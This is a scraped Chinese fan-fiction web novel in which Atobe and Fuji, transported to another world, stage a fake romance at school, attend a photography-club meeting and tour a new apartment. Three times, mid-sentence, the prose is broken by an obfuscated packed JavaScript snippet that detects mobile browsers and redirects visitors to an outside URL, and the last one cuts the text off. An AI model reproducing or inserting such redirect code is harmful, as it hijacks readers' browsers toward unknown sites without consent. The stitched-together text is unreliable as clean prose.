“不二,好了吗?”迹部的声音从客厅传来,低沉而平稳,带着一种不容置疑的笃定。这个人无论做什么事都像在下达命令,连等待都显得理直气壮。 “来了。”不二深吸了一口气,转身走出房间。迹部站在门口,穿着青叶学园的深蓝色制服,领带系得一丝不苟。外套的扣子全部扣好,紫灰色的头发打理得完美无缺。明明只是去上学,却像是在准备一场重要的商业谈判。 他上下打量了不二一眼,目光在那张没有任何遮挡的脸上停留了两秒,然后微微点头,嘴角翘起一个不易察觉的弧度。“这样才符合华丽二字,走吧。” 两个人并肩走出公寓楼,早晨的阳光斜斜地照在街道上,把两人影子拉得很长,影子相叠在一起共同延伸向远方。 迹部的步伐从容,不二的步伐轻快,两个人的节奏一如既往地合拍。但今天不一样,今天他们要以“情侣”的身份走进学校。而这个事实让不二的手指在身侧微微蜷缩,像是在犹豫要不要主动握住什么。 他的犹豫没有持续太久,因为迹部的手已经自然地伸了过来,握住他的手,十指相扣,力度适中。温度从指间传过来,暖得不二有些发慌。 “上车吧。”明明还没到学校,两人才刚坐上去往学校的车,迹部就已经理所当然地牵住了不二周助的手。 不二周助还在进行心理建设,但专人司机开的车又快又稳,根本给不了多少时间让他预设一会儿可能发生什么情况。 车缓缓停在学校门口。 “从下车的那一刻起,我们就是情侣了。明白吗?”迹部轻柔地为不二整理头上的碎发,眼神温柔得不像演戏,而像是在真正注视着自己的爱人。 不二深吸了一口气,点了点头。迹部果然厉害,连演技也这么强。 校门口此时已经有不少学生在往里走了。面对停留在学校路口的豪车,他们先是无意识看了一眼车的方向,然后就被从车上下来的两人吸引住了目光。 虽然大家都是穿的一样的青叶校服,但人与人之间的差别是巨大的。 深蓝色的青叶校服穿在迹部景吾身上,比任何定制西装都更贴合他宽阔的肩膀和挺拔的腰身。他的领带系得一丝不苟,领口的弧度精准得像用尺子量过,紫灰色的头发在晨光中泛着金属般冷冽的光泽,每一缕都安放在恰到好处的位置。 随后下车的不二周助则是另一种风格。 栗色的头发在晨光中微微泛着暖棕色的光,没有戴眼镜的脸完整地暴露在所有人的视线里。那张脸比论坛上那张偷拍照片更加生动、更加令人移不开目光。 冰蓝色的眼睛半眯着,像是刚从睡梦中醒来还带着一丝慵懒,嘴角弯着一个浅浅的弧度,仿佛造物主在捏造这张脸时把“温柔”二字刻进了他的骨血里。 他的校服不像迹部那样一丝不苟,而是解开了外套最上面一颗口子,袖子挽到手肘露出一截白皙的小臂。这种随意不但没有减损他的美感,反而让他显得更加不可复制。像是美术馆里一幅故意没有装裱的名画,随性中透着一种让人不敢轻易靠近的距离感。 当所有人从两人的美色吸引中挣脱出来时,目光却像被磁铁吸住一样落在了两个人交握的手上。 有人嘴巴微微张开却发不出声音,有人不自觉停下了脚步,眼睛瞪得溜圆。还有人则迅速掏出手机偷偷拍了一张照片,摄像头聚焦于两人相握的手上。 不二感觉到那些目光像无数根细线一样投射过来,带着震惊、疑惑、好奇、不可思议。看来,自己和迹部“在一起”真的让人很难想象啊…… “早上好,不二同学!早上好,迹部同……”一位同班同学的声音在看到两个人交握的手时戛然而止,她的目光在两只手上停了几秒,然后慢慢地移到不二的脸上,又移到迹部的脸上,嘴唇张合了几次却什么都没说出来。 “早上好。”迹部替她完成了对话,大有一副“这有什么可惊讶”的意味。他牵着不二的手继续往前走,留下那个女生站在原地,嘴巴张成了一个完美的O型。 从校门口到教学楼,短短几分钟的路程,不二感受到了这辈子最多的注视。每一道目光都像一颗石子投入他内心的湖面,激起层层涟漪。 他没有去管其他人有多惊讶,他只是安静地跟随迹部牵着的手穿过人群,像一艘小船被一艘大船牵引着驶过波涛汹涌的海面。 他能听到周围传来的窃窃私语,那些声音像蜜蜂一样嗡嗡作响。但奇怪的是,他并不觉得烦躁。也许是因为迹部的手很温暖,也许是因为有人在和他一起面对这些让他难以处理的声音吧。 走进教室的时候,教室里已经到了一半左右的学生。胜郎正坐在座位上跟前排的男生聊天,手舞足蹈地说着什么。看到不二进来,他习惯性地举起手准备打招呼。然后他的手僵在了半空中,嘴巴也僵住了,整个人像被按下了暂停键。他的目光落在了不二和迹部交握的手上,瞳孔地震般地剧烈颤动。 “不、不二……”胜郎的声音有些发抖,像是刚跑完一千米,“你、你们……”不二张了张嘴想说点什么来缓解气氛,但迹部先开口了。 “各位,本大爷有话要宣布。”他的声音不大,但有一种奇异的穿透力,像一把锋利的手术刀精准地切开了教室里的嘈杂。整个空间瞬间安静了下来,所有人的目光都集中在他身上。 迹部站在讲台旁边,不二站在他身边,两个人的手依然握着,没有松开,仿佛那是全世界最自然不过的事情。 “本大爷和不二周助,正在交往。” 教室里安静了整整三秒。这三秒里,不二能听到自己的心跳声,能听到窗外风吹过树叶的沙沙声,能听到某个角落里的铅笔从桌面滚落的声音。然后像一颗炸弹在密闭空间里被引爆,整个教室炸开了锅。 尖叫声、惊呼声、书本掉落在地的声音、此起彼伏的“什么?”交织在一起,形成了一首混乱的交响乐。有人站起来又坐下,有人捂着嘴瞪大了眼睛,有人转过头跟旁边的人确认自己没听错。 “我就说他们关系不正常!你看他们每天一起上下学!”一个男生拍着桌子激动地喊道。“天哪……迹部同学和不二同学……这也太配了吧!”一个女生双手捧着脸,眼睛里冒出了星星。 “不二同学不是不想恋爱吗?原来是因为已经有迹部同学了!”另一个男生恍然大悟般地拍了拍手。“好配啊……他们两个站在一起真的好配啊……”这样的感叹从不同的方向此起彼伏地传来,像海浪一样一波接着一波。 胜郎从座位上站了起来,嘴巴张得能塞下一个鸡蛋。他看了看不二,又看了看迹部,又看了看不二,如此反复了三四次,这才真正确认了自己不是在做梦。 “不二!这是真的吗?!”他的声音里带着一种难以置信的震惊,还夹杂着一种被好朋友蒙在鼓里的委屈,“你不是说你不想恋爱吗?你不是说没有想告白的人吗?你怎么突然就……”在迹部景吾的目光注视下,他的声音越来越小,最后变成了嘟囔。 不二看着胜郎,心里有一瞬间的愧疚。胜郎是他在这个世界里最好的朋友之一,总是热情地帮他传播“不想恋爱”的消息,总是站在他这边替他说话。 “抱歉,胜郎。”不二说,声音温和但坚定,“之前没有告诉你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494680|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “所以……所以你们是真的在交往?”胜郎的声音有些颤抖,像是在求证一个他不敢相信的事实。 “当然。”迹部替不二回答了,他的声音清晰而有力,带着一种不容置疑的笃定,“本大爷和不二在交往。从今天起,任何人都不要再给不二递情书、送礼物、或者做任何形式的告白。不二是本大爷的人,同样,本大爷也是不二的人。明白了吗?”他的目光扫过整个教室,像探照灯一样照过每一张脸,扫过那些曾经给过、或者想给不二递情书的男生脸上。 那些男生有的低下头,有的移开目光,有的表情复杂得说不出话来。每个人脸上的表情像是失落,又像是释然,又像是某种终于可以死心的轻松。 迹部的宣告像一阵飓风,以三年A组教室为中心,迅速席卷了整个青叶学园。第一节课还没开始,消息就已经传遍了国中部,并且以惊人的速度向高中部蔓延。课间的时候,走廊上挤满了人,全是为了亲眼看看不二和迹部以确认那个爆炸性的消息是否属实。 不二坐在座位上看书,努力忽视窗外传来的议论声。迹部坐在他身后,姿态从容地翻着一本英文原版书,仿佛周围的一切都在他的掌控之中,仿佛那些议论声只是背景音乐。 “迹部。”不二转身靠近迹部小声说。 “嗯?” “你的宣告也太直接了吧。我还以为你会用更……委婉一点的方式。” “本大爷的方式就是直接。”迹部翻过一页书,头也不抬地说,“拐弯抹角不是本大爷的风格。” “可是现在貌似闹得有点大了。连高中部那边都在传了。” “这就是本大爷想要的效果。”迹部终于抬起头,深蓝色的眼睛里闪过一丝得意的光,“知道的人越多,来烦你的人就越少,就不再会有那些不自量力的人来找你告白了。” “是这样没错。”不二承认,“但是……” “没有但是。”迹部打断了他,语气不容置疑,“本大爷做事,向来追求效率和彻底。既然要做,就做到最好。” 不二张了张嘴,想说什么,但最终只是转回去继续看书。因为迹部说得没错,自从迹部宣告了他们的“恋情”之后,那些曾经每天都会出现在他课桌上的情书和礼物都消失了。 一天过去课桌干干净净,抽屉里空空荡荡,连那些偷偷放在窗台上的手工饼干都不见了踪影。 教室外面虽然有不少人在围观、在议论,但没有一个人走上前来递情书或告白。不二看着空荡荡的课桌桌面,心里涌上一种奇异的感觉。 清净了,真的清净了,这种清净是他穿越到这个世界以来从未体验过的奢侈。迹部的方法,确实有效。 “怎么样?”下午最后一节课下课,迹部的声音从身后传来,带着一丝得意与需要夸奖。 “迹部的做法有效。”不二说,但又补充道,“但总觉得……有点过意不去。” “过意不去什么?” “有些人的表情……好像很失落。我看到有几个男生的眼睛都红了。” 迹部沉默了一秒,然后放下手中正在处理公司事务的手机。“不二,你不是救世主,你没有义务让每个人都开心。他们失落是因为他们自己的期待落空了,不是你的错。而且,你觉得让他们继续抱着希望等下去,等一年、两年、三年,最后发现还是等不到那样会更好吗?” 不二知道迹部说得对,他在拒绝别人的时候也说过长痛不如短痛。但知道归知道,当他看到那些失落的表情时,心里还是会涌上一丝不忍。他不是一个铁石心肠的人,从来都不是。 “谢谢你啊迹部,我知道了。” “不用谢。”迹部重新拿起手机,目光落在短信界面上,但嘴角微微翘起,“本大爷只是在做本大爷应该做的事。” 19. 摄影社会议 最后一节课下课铃声响起的时候,窗外的光线已经染上了一层薄薄的橘色。 不二收拾书本转过身正准备让迹部自己先回家时,却发现迹部已经站到了他身后,斜挎着背包一副等他出发的姿态。 对于不二疑惑的表情,迹部挑了挑眉:“看什么,走啊?” “你今天不是有线上会议吗?”不二仰头看着迹部,语气里带着一丝提醒的意味。 “推了。”迹部简短地回答,他把外套搭在手臂上,另一只手自然而然地伸过来握住了不二的手。十指相扣的动作熟练得仿佛他们已经这样牵手走过了无数个日子。 “摄影社今天不是要开会?本大爷陪你去。” 不二被牵着手站起来,而他的书包已经被迹部的另一只手拎了起来,任由迹部牵着他走出教室。 走廊上还有不少刚放学的学生,他们的目光在触及两人交握的双手时无一例外地停顿了一秒,然后迅速地移开,又在走出几步之后忍不住回头偷看。 自从迹部今早在教室里宣布了他们的“恋情”之后,这种场景已经成了固定剧目。不二从一开始的浑身不自在到现在的波澜不惊,只用了不到一天时间。人的适应能力,尤其是在面对无法改变的事情时,总是比自己想象的要强大得多。 不二推开摄影社活动室大门的时候,里面已经坐了七八个人。 此刻离正式会议开始还有几分钟,野村拓也正在准备一会儿的会议内容。他站在白板前面用马克笔写着什么,听到门响抬起头来,手里的笔在半空中停住了。 他的目光先落在不二脸上,那张没有戴眼镜的脸他已经在论坛上看过无数次了,但亲眼见到的时候还是觉得那张偷拍照片根本没有捕捉到那双冰蓝色眼睛的十分之一灵动。然后他的目光往下移动,落在了不二和迹部交握的手上,马克笔从指间滑落,在白板上划出一道歪歪扭扭的蓝色痕迹。 “不、不二……”野村的声音有些发飘,“这位是……” “迹部景吾。”迹部替不二回答了这个问题,他的声音不大,但那种天生的王者气场让所有人都安静了下来,“本大爷是来陪不二的,你们开你们的会,不用管本大爷。当然,如果你们的会议内容需要保密,本大爷可以去外面等。” “不不不,不需要保密……随便坐……你的到来是我们社团的荣幸……” 听见野村拓也的这句话,迹部松开了不二的手,走到活动室角落的椅子上从容坐下。他从外套内袋里拿出手机,修长的手指在屏幕上轻轻点了几下,姿态优雅得仿佛不是坐在一张最普通不过的椅子上,而是坐在某总裁办公室的真皮沙发里。 教室里安静了足足五秒钟,所有人的目光都在迹部和不二之间来回移动,空气中弥漫着一种“我是不是在做梦”的集体困惑。社员山田手里拿着的相机差点从膝盖上滑下去,他手忙脚乱地接住,镜头包装外壳发出一声清脆的碰撞,在安静得连呼吸声都听得见的教室里格外响亮。 “那个……”一个扎着马尾辫的女生第一个回过神来,她的目光在迹部身上转了一圈,又落在不二身上,“不二同学,你和迹部同学……是真的在交往吗……”她的声音越来越小,最后消失在空气中。 “嗯。”不二简短地回答了一个字,脸上挂着那个标志性的微笑走到座位上坐下。他不想在这个话题上展开太多,他和迹部商量好的策略就是“承认但不展开”,因为越模糊就越不容易穿帮。 野村终于从震惊中恢复过来,弯腰捡起掉落的马克笔,在白板上把自己刚才写到一半的“学园祭”三个字补全。然后转过身来拍了拍手,试图把所有人的注意力拉回到正事上。 “好了好了,都别发呆了,今天我们开会的主题是一周后的学园祭摄影社任务分配,大家都把注意力收一收。” 话是这么说,但他的目光还是忍不住往角落里瞟了一眼。迹部景吾正低着头看手机,屏幕的蓝光映在他轮廓分明的脸上,紫灰色的碎发垂在额前,整个人安静得仿佛和这间堆满器材的教室不在同一个空间里。 但他又确确实实地在那里,像一盏被搬进了仓库的聚光灯,即使没有通电,光是它本身的存在就足以让整个房间的焦点都偏移过去。 “一周后就是学园祭了。”野村清了清嗓子,在白板上写下“学园祭回忆册”几个大字,字迹比平时用力了不少,大概是还没有完全从刚才的冲击中缓过神来,“我们摄影社今年的任务和去年一样,需要负责制作学园祭的官方回忆册。到时候每个社团、各个班级的活动我们都要拍到,最后进行筛选将照片做成册子在学园祭结束后发放。” 他一边说一边在白板上画了一个简单的表格,把任务按照区域和时段分成了几个板块。“考虑到学园祭当天人手会比较紧张,我们需要提前做一些准备工作,比如提前踩点、提前和各社团的负责人沟通拍摄时间、提前确定每个时段的拍摄重点。去年的回忆册被批评说‘缺乏重点’,今年我们不能再犯同样的错误。” 野村拿起桌上的名单,开始一个个分配任务。他念到名字的人一个个站起来,接过自己的任务卡,坐下,动作干脆利落,看得出来这种例会在摄影社已经形成了固定的流程。 “山田,你负责体育类社团的拍摄,篮球部、足球部、网球部这些。上午和下午各去一次,重点抓比赛中的瞬间。”山田点了点头,在自己的笔记本上记了下来。 “小林,你负责文艺类社团,吹奏部、美术部、戏剧社这些,戏剧社那边我已经提前打过招呼了,他们下午的演出你可以直接到后台去拍。”那个扎马尾辫的女生应了一声,眼睛却还是忍不住往角落里的迹部身上瞟了一眼。 野村一个一个地念下去,名字和任务对应着,白板上的表格渐渐被填满。不二坐在座位上安静地听着,他注意到野村快把名字念完了也没有念到自己的名字,心里大概猜到了是怎么回事。 果然,当最后一个人的名字从野村嘴里念出来之后,野村放下名单转过身看着不二,表情里带着一丝小心翼翼。“不二同学,按照你入社时我们的约定,活动自愿参与不强制分配任务。你可以选择不参加这次的学园祭拍摄。当然,如果你愿意参加的话,我们也非常欢迎,毕竟你是我们社团好不容易才邀请进来的,摄影水平在我们社数一数二。” 不二没有立刻回答。他靠在椅背上,目光落在白板上那张被各种色块填满的表格上,脑子里快速过了一遍学园祭那天的日程安排。 摄影社的任务看起来虽然繁重,但实际上并不需要全程参与。每个人只需要负责自己分配到的时段和区域,拍够一定数量的照片就行。而且野村在分配任务的时候考虑得很周到,把最忙的中午时段分给了三四个人轮流,谁都不会被压得喘不过气来。 “我参加吧。”不二说,声音不大但很清晰,“反正学园祭那天我也没什么别的事,拍拍照也挺有意思的。”参加社团的任务,还可以推托班级那边的活动,挺划算的。 野村的眼睛亮了起来,但又很快压下了那份兴奋。因为他注意到角落里那盏“聚光灯”在他分配任务的时候一直没有抬起过头,而此刻,当他问不二是否要参加的时候,那双深蓝色的眼睛终于从手机屏幕上移开了,正穿过整个教室的喧嚣,安静地落在不二的侧脸上。 “那你想负责哪个区域?”野村赶紧问道,把一张学园祭的场地分布图推到不二面前,“你看看哪个区域比较感兴趣,我这边都可以调整。” 不二低头看了一眼地图,手指在图上的几个区域之间游移了一会儿,最后停在了靠近校门口的那一排。“我负责这边吧。这边的摊位大多是手工制品和画展,光线条件比较稳定,不用频繁调整参数,拍起来效率高并且风格统一。” 野村点了点头,拿起笔在表格里不二的名字后面写下了“校门口区域(手工制品/画展)”。写完之后他抬起头,目光在不二和迹部之间又转了一圈,终于忍不住问了一句:“不二同学,迹部同学学园祭那天……也会去吗?” 这个问题问出来的瞬间,教室里的空气明显凝滞了一下,所有人都竖起了耳朵。不二愣了一下,转过头看向角落里的迹部,正好对上那双正注视着他的深蓝色眼睛。两个人对视了不到一秒,迹部就收回了目光,重新低下头看向手机,仿佛刚才那一眼只是不经意的一瞥。 “来。”迹部的声音从角落里传来,低沉而平稳,像是在陈述一个不需要任何论证的事实,“本大爷当然会来。” 野村点了点头,在笔记本上记下了什么,脸上的表情是一种微妙的介于“果然如此”和“我怎么就管不住这张嘴”之间的复杂神色。 例会继续进行,野村开始讲解一些拍摄时需要注意的细节。光圈、快门速度、白平衡的设置建议,以及各社团负责人可能会提出的特殊要求。 不二听得很认真,偶尔在笔记本上记几笔,偶尔抬起头看一眼白板上的表格。他的侧脸在教室的日光灯下显得格外柔和,栗色的头发垂在耳侧,冰蓝色的眼睛专注地看着前方,嘴角依然弯着那个标志性的弧度。 迹部坐在角落里,手机屏幕上的股票线图在不断地跳动着,红红绿绿的数字在他的瞳孔里闪烁。但他的注意力此刻全部落在坐在前排的不二周助身上,像一只看不见的、温暖的、不愿意被任何人发现的灯。 他注意到不二今天将衬衫袖子挽到手肘,露出一截白皙的小臂。他注意到不二在记笔记的时候会把笔夹在食指和中指之间转两圈,然后再低下头写字。他注意到不二在听到某个有趣的观点时会微微侧头,冰蓝色的眼睛在那一瞬间完全睁开,然后又慢慢地眯回去。他还注意到不二此刻的心情很好,整个人对后续的拍摄任务十分自信。 这些细节如果放在一年前,迹部景吾是绝对不会注意到的。但现在,不二周助的每一个微小的动作、每一次呼吸的节奏变化、每一种微笑背后隐藏的真实情绪,都像一本他读了一遍又一遍却永远读不完的书,每一次重新翻开都能发现新的、值得珍藏的句子。 不二大概感受到了那道目光的重量,在迹部盯着他的后脑勺看了将近十分钟之后忽然转过头来。两个人的目光在空气中撞了个正着,不二的嘴角弯了弯,用口型无声地说了两个字“专心”。 迹部挑了挑眉,把手机屏幕转过来对着不二,上面是一张密密麻麻的股票线图,他用口型回了两个字“赚钱”。不二无声地笑了,转回头去继续听野村讲解。 这个小到不能再小的互动,前后不过三秒钟,却被坐在不二斜后方的山田看了个清清楚楚。山田手里的相机差点又一次从膝盖上滑下去,他手忙脚乱地扶稳,低下头假装在调整镜头,但脑子里已经开始了一场核爆级别的脑内风暴。 “天哪天哪天哪……他们两个刚才是在用眼神交流吗…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494681|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个对视那个微笑,那种只有恋人之间才有的默契……我要不是亲眼看到打死我都不信迹部景吾那种人会谈恋爱,而且对象还是不二周助!他们两个站在一起简直就是行走的画册……如果能让我拍摄就好了……” 例会进行到尾声的时候,野村把所有的任务再次强调了一遍,确认每个人都知道自己负责的区域和时间段。“大致就是这样,具体的拍摄细节不懂可以问我。如果大家在学园祭之前有任何问题,随时联系我。” 大家开始收拾东西准备离开,椅子拖动的声音和拉链拉上的声音交织在一起,教室里的安静被一片琐碎的嘈杂取代。 不二站起来把笔记本放进书包里,转过身准备叫迹部走,却发现迹部已经站在了他身后。 “结束了?”迹部问。 “嗯。”不二点了点头,“你刚才在干什么呢?” “本大爷在处理公司的事。”迹部的回答听起来像是在强调自己并没有在等谁,但此刻他的左手状似不经意地抵在不二的椅背上,刚好是不二站起来时可能会被绊住的位置。 不二注意到了这个细节,但他没有说什么朝门口走去。迹部跟在他身后,两个人一前一后走出了活动室。 “不二同学!等一下!”身后传来野村的声音,他手里拿着一份不知道什么时候打印出来的学园祭场地分布图,“这份地图你带着吧,上面我标注了几个光线比较好的位置,你到时候可以参考一下。” 不二接过地图,低头看了一眼。野村确实很用心,地图上用不同颜色的荧光笔标注了好几个点位,旁边还用铅笔写了一些简短的备注……“上午顺光”“下午逆光适合拍剪影”“室内灯光偏暖需调白平衡”。 “谢谢,野村社长。”不二把地图折好放进口袋里,真诚地道了一声谢。 野村摆了摆手,目光不自觉地往迹部身上飘了一下,然后迅速收回来。“不客气不客气,你能参加这次的活动我们已经很开心了。那个……有个学弟找你……” 野村身后站着一个戴圆框眼镜的国一男生,眼眶红红的不敢直视不二。手里攥着一封被紧张过度无意识弄皱的信,整个人像一棵被风吹弯了腰的小树苗。 鼓足勇气后,他往前一步从野村背后站出来。“不二学长!”他的声音又大又响,带着哭腔朝不二深深鞠了一躬,“照片是我偷拍的,帖子也是我发的……对不起!当时我在外面比赛不能当面道歉,社长说了之后我已经后悔得不行了……真的对不起!再次向你真诚道歉!” 信被他双手举过头顶,手指在发抖,信纸发出细微的沙沙声。教室里还没走的社员都停下了手里的动作,空气里弥漫着一种微妙的尴尬。 迹部站在不二身后半步的位置,没有任何插手的意味,表情也没有任何变化,只是目光直直注视着这位道歉的学弟。 不二看着眼前这个90度鞠躬中的学弟沉默了两秒,然后伸出手接过了那封信。“我原谅你了。”他的声音不大但很清晰,“听说你外出比赛获得了金奖,很厉害。你拍的那张照片构图和光线都不错,说明你有天赋,但天赋不是用来侵犯别人隐私的,明白吗?” 男生拼命地点头,眼镜从鼻梁上滑下来又被慌乱地推回去,然后又深深地鞠了一躬:“谢谢学长!” “走了。”迹部说着牵起不二的手,转身朝外走去。 不二被他拉着走了几步,回过头来对野村笑了笑,用口型说了一句“下次见”。 野村站在社团活动室里看着两个人的背影在楼梯口消失,刚为偷拍事件完美结束而开心,脑子里又突然冒出一个念头。“他们两个真的是在交往啊……不是谣言不是炒作,是那种真的会在你面前牵手、会用眼神交流、会帮对方拿东西的那种交往啊……” 两个人走出教学楼的时候,天已经逐渐暗了下来。不二仰起头,看到天空中有几颗星星在云层的缝隙里若隐若现,微弱的光穿越了亿万公里的距离落在他眼睛里。好像无论在哪个世界,星星都是一样的。 “迹部。”不二忽然开口。 “嗯?” “你觉得学园祭那天,我们会不会被很多人围观?”不二的语气里带着一丝无奈的笑意,“你宣布交往的时候就已经够轰动了,如果学园祭那天我们两个一起出现在人多的地方……” “那不是正好吗?”迹部的语气里有一种不二听不太懂的得意,“看到的人越多,知道你有男朋友的人就越多。知道你有男朋友的人越多,来烦你的人就越少。本大爷的逻辑,有什么问题吗?” “没问题。”不二感受着迹部话语里的情绪,“但是总觉得你在享受这件事。怎么,离开了冰帝那几百人的应援天团,学园祭你也想绽放光芒吗?”不二的语气带上掩饰不住的笑意。 迹部没有回答不二的调侃。他牵着不二的手走到车边,打开车门,等不二坐进去之后才绕到另一边上车。 车门关上的瞬间,外面的风声和喧嚣都被隔绝了,车内只剩下两个人轻微的呼吸声和引擎启动时的低沉轰鸣。迹部靠在座椅上,看着窗外向后飞驰的景色,嘴角的弧度比平时大了那么一点点。 他在享受吗?也许吧。但他在享受的,从来都不是那些人的震惊和围观。他享受的是可以名正言顺地站在不二身边、名正言顺地牵不二的手、名正言顺地让全世界都知道,不二周助身边有一个人,那个人叫迹部景吾。 20. 新家 自从迹部景吾在教室里掷出那句“本大爷和不二周助正在交往”之后,青叶学园的舆论场就像被投入了一颗深水炸弹。在表面翻涌了一阵巨浪后随即沉入水底,变成了暗流。 不二周助的生活发生了真真正正的巨大变化。除了告白、情书、礼物等东西的消失,最明显的变化是他人看待他的目光变了。那种目光不再是“我喜欢你”的热切,而是“你们真的在交往吗”的好奇。 走在走廊上,总会有人偷偷地看他们一眼,然后低下头跟旁边的人小声说些什么。偶尔有胆大的同学会跑过来,红着脸问一句“不二同学你和迹部同学谁先告白”之类的问题,然后在得到答案之前就红着脸跑开。 不二对此哭笑不得,但迹部似乎乐在其中。仿佛在恋爱中担当告白者的角色这一身份让他很骄傲。 然而不二不知道的是,迹部景吾这个“假扮男友”的角色,演得比他想象的要投入得多。 周六早晨,不二是被厨房里传来的香味弄醒的。他揉着眼睛走出房间看到迹部正站在灶台前,围着那条深蓝色的围裙,手里拿着锅铲翻动着平底锅里的煎蛋。 阳光从窗户斜斜地照进来,落在他紫灰色的头发上,把那些精心打理的发丝镀上了一层温暖的金色。 “早。”迹部头也不回地说,仿佛背后长了眼睛。 “早。”不二走到厨房边,习惯性地伸手去帮迹部挽袖子。他们之间已经形成了一种不需要言语的默契,每天早上不二会帮迹部把衬衫袖子卷到手肘,迹部负责把早餐端上桌。两个人的配合流畅得像一首练习了无数遍的二重奏,每一个动作都恰到好处地嵌进对方的节奏里。 但是在不二周助没注意的地方,当听见不二周助走出房间时,厨房里某位会提前将袖子滑落,并且努力绷直自己的手臂肌肉,以求展现自己最完美最华丽的一面。 不过迹部景吾的孔雀开屏确实是有效果的。 “迹部,真不敢想你以后的另一半有多幸福。” “怎么突然这么说?” “因为你简直是完美男友啊。”长得好、身材好、厨艺好、性格好、能力强……优点多得数不过来。也不知道以后谁能配得上他,能和他一起长相厮守了。 不二周助突如其来的话让迹部景吾心猛地一跳,但明显不二没有那种想法。迹部景吾又有些不甘心,跃跃欲试想要试探不二周助的心思。 “那你觉得我这么好的人,世界上有人会拒绝我的爱吗?” “应该不会吧,帝王的爱意应该没有人会拒绝。突然觉得我好幸运呐迹部,有机会让我能感受这份‘爱意’哈哈哈哈。” 虽然知道不二所说的是“假扮男友”这件事,但迹部还是没能控制住自己的心跳。所以说……不二也是觉得他很好吧…… “辛苦啦,今天吃什么?”不二问。 “法式吐司,培根煎蛋,今天破例让你早上吃一点芥末,不能过量!”迹部把煎蛋从锅里滑到盘子里,动作行云流水,蛋黄完整得像一颗金色的太阳,“牛奶已经热好了,过去吃吧。记住,芥末不能过量,这是‘帝王’的命令!” “是,我的帝王……” 两个人面对面坐下,阳光从窗户照进来落在餐桌上,把白色桌布照得发亮。不二咬了一口法式吐司,外酥里软,蛋液的香甜和枫糖浆的醇厚在舌尖上化开,他忍不住发出了一声满足的叹息。“迹部,你的厨艺又进步了。” “当然。”迹部的嘴角微微翘起,“本大爷每天都在追求更高的境界。” 不二闷笑几声,继续吃早餐。他注意到迹部今天穿了一件深灰色的V领衬衫,领口开得比平时大了一些,露出锁骨下方一小片白皙的皮肤和若隐若现的肌肉线条。 他不自觉地多看了一眼,默默在心里对比自己的身材。虽然他也没有停止运动锻炼,他也有肌肉,但因为个体差异他的肌肉只是薄薄一层,完全没有迹部的线条分明。真羡慕啊…… 早餐后两个人收拾好餐具,准备出门去新家看装修的进度。迹部买下的那套港东湾高层公寓已经完成了基础装修,前几天不二答应了搬去新家和迹部同住,今天约了设计师做最后的验收。 不二换好衣服走出房间的时候,看到迹部正站在玄关等他,手里拿着两把新家钥匙。一把是他自己的,一把是准备给不二的。 “走了。”迹部说着伸出手。这个动作他们已经重复了无数次,从第一次牵手时的不自然到现在的行云流水,只用了不到一个星期的时间。不二把手放进迹部的掌心里,感受着那熟悉的温度从指间传过来,两个人十指相扣走出了公寓。 之前不二曾提出过疑问,既然都不在学校里了为什么还要这么亲密? 对此,迹部的回答是:为了防止校外遇见熟人,防止两人的熟悉度下降,防止真正需要假扮的时候变得不适应。 于是就在这一前提下,两人即使不在学校也还是执行着“恋人”的相处模式。 新家位于港东湾一栋三十八层的高层公寓里,从落地窗望出去可以看到整个港东湾的全景。蔚蓝的海面在阳光下闪着碎金般的光芒,远处的货轮像玩具一样缓缓移动,海鸥在低空盘旋,叫声被隔音玻璃过滤成遥远的回响。 不二站在窗前,被眼前的景色震撼得说不出话来。他举起相机连按了好几次快门,然后放下相机转过身看着迹部,冰蓝色的眼睛里满是惊叹。 “视野也太好了,这里的住户每天都能看到这样的景色吗?” “以后你也可以。”迹部从设计师手里接过验收单,一边签字一边说,“本大爷说了主卧给你,从那个窗户看出去视野更好,能看到整个海湾。” “不用了吧,我住客卧就行。” “本大爷说了主卧给你。”迹部抬起头看了不二一眼,语气不容置疑,“客卧的窗户朝向西北,下午会西晒。你不是怕热吗?” 不二张了张嘴想说自己其实没有那么怕热,但看着迹部那双不容商量的眼睛,最终只是笑了笑说了一句“那好吧,谢谢你啊迹部”。 他不知道自己什么时候开始对迹部的这种“霸道”变得如此顺从,也许是意识到反抗也没有用,也许是在潜意识里他其实并不讨厌被迹部这样安排。 设计师走后两个人站在客厅里感受着新家,阳光从落地窗涌进来把整个空间照得明亮而温暖。不二在客厅里转了一圈,手指轻轻划过墙壁,想象着这些空白的墙面将来会挂上什么样的画,那些空旷的角落将来会摆上什么样的植物。 “迹部。”不二忽然开口。 “嗯?” “你有没有想过,我们可能回不去了?” 迹部正在检查厨房橱柜的五金件,闻言手上的动作停了一下。他直起身看着不二,深蓝色的眼睛里有某种东西在闪烁。“想过。本大爷每天都在想这个问题。” “那你怎么想的?” 迹部沉默了几秒,走到窗边和不二并肩站在一起。两个人一起看着窗外那片蔚蓝的海面,阳光在海面上铺开了一条金色的路,从海平面一直延伸到岸边。 “本大爷在想,如果我们真的回不去了,那就在这个世界里活得更好。”迹部的声音很平静,显然是经过深思熟虑的结论,“不管在哪个世界,本大爷都是迹部景吾。你也都是不二周助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 